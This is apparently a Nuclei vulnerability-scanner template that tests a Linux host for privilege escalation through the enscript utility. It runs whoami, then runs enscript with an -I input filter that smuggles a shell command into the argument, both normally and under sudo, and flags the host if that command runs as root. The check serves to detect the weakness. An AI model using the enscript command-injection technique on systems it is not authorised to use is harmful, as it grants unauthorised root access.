id: privesc-enscript

info:
  name: enscript - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    enscript is a command-line tool used for converting text files to PostScript format for printing. It provides various options for formatting and manipulating the output, making it a useful tool for generating high-quality printed documents from text files.
  reference:
    - https://gtfobins.github.io/gtfobins/enscript/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,enscript,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      enscript /dev/null -qo /dev/null -I 'whoami >&2'

  - engine:
      - sh
      - bash
    source: |
      sudo enscript /dev/null -qo /dev/null -I 'whoami >&2'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4a0a0047304502207612a07a8ccf0e0e33dd7c9f2fac422a5d0586831437ba37bd3e2ba5651535cf022100a76378025668edad186492bbff1a1f47d1dba72f90dd0072494a2af47004b493:922c64590222798bb761d5b6d8e72950